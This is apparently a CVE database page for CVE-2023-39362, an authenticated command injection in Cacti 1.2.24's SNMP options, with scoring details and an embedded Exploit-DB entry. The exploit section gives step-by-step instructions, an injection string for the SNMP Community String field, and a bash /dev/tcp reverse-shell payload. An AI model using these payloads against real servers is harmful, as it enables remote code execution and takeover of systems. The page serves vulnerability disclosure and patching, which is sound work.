CVE-2023-39362 Detail

CVE-2023-39362

Score / Severity

7.2

High

CVE Descriptions

Authenticated command injection in SNMP options of a Device

Cacti is an open source operational monitoring and fault management framework. In Cacti 1.2.24, under certain conditions, an authenticated privileged user, can use a malicious string in the SNMP options of a Device, performing command injection and obtaining remote code execution on the underlying server. The `lib/snmp.php` file has a set of functions, with similar behavior, that accept in input some variables and place them into an `exec` call without a proper escape or validation. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
CWE-77	Improper Neutralization of Special Elements used in a Command ('Command Injection') The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	7.2	HIGH	CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. High The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable component allowing access to component-wide settings and files. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 51740

Publication date : 2023-10-08 22h00 +00:00
Author : Antonio Francesco Sardella
EDB Verified : No

# Exploit Title: Cacti 1.2.24 - Authenticated command injection when using SNMP options # Date: 2023-07-03 # Exploit Author: Antonio Francesco Sardella # Vendor Homepage: https://www.cacti.net/ # Software Link: https://www.cacti.net/info/downloads # Version: Cacti 1.2.24 # Tested on: Cacti 1.2.24 installed on 'php:7.4.33-apache' Docker container # CVE: CVE-2023-39362 # Category: WebApps # Original Security Advisory: https://github.com/Cacti/cacti/security/advisories/GHSA-g6ff-58cj-x3cp # Example Vulnerable Application: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application # Vulnerability discovered and reported by: Antonio Francesco Sardella ======================================================================================= Cacti 1.2.24 - Authenticated command injection when using SNMP options (CVE-2023-39362) ======================================================================================= ----------------- Executive Summary ----------------- In Cacti 1.2.24, under certain conditions, an authenticated privileged user, can use a malicious string in the SNMP options of a Device, performing command injection and obtaining remote code execution on the underlying server. ------- Exploit ------- Prerequisites: - The attacker is authenticated. - The privileges of the attacker allow to manage Devices and/or Graphs, e.g., "Sites/Devices/Data", "Graphs". - A Device that supports SNMP can be used. - Net-SNMP Graphs can be used. - snmp module of PHP is not installed. Example of an exploit: - Go to "Console" > "Create" > "New Device". - Create a Device that supports SNMP version 1 or 2. - Ensure that the Device has Graphs with one or more templates of: - "Net-SNMP - Combined SCSI Disk Bytes" - "Net-SNMP - Combined SCSI Disk I/O" - (Creating the Device from the template "Net-SNMP Device" will satisfy the Graphs prerequisite) - In the "SNMP Options", for the "SNMP Community String" field, use a value like this: public\' ; touch /tmp/m3ssap0 ; \' - Click the "Create" button. - Check under /tmp the presence of the created file. To obtain a reverse shell, a payload like the following can be used. public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \' A similar exploit can be used editing an existing Device, with the same prerequisites, and waiting for the poller to run. It could be necessary to change the content of the "Downed Device Detection" field under the "Availability/Reachability Options" section with an item that doesn't involve SNMP (because the malicious payload could break the interaction with the host). ---------- Root Cause ---------- A detailed root cause of the vulnerability is available in the original security advisory (https://github.com/Cacti/cacti/security/advisories/GHSA-g6ff-58cj-x3cp) or in my blog post (https://m3ssap0.github.io/articles/cacti_authenticated_command_injection_snmp.html). ---------- References ---------- - https://github.com/Cacti/cacti/security/advisories/GHSA-g6ff-58cj-x3cp - https://m3ssap0.github.io/articles/cacti_authenticated_command_injection_snmp.html - https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application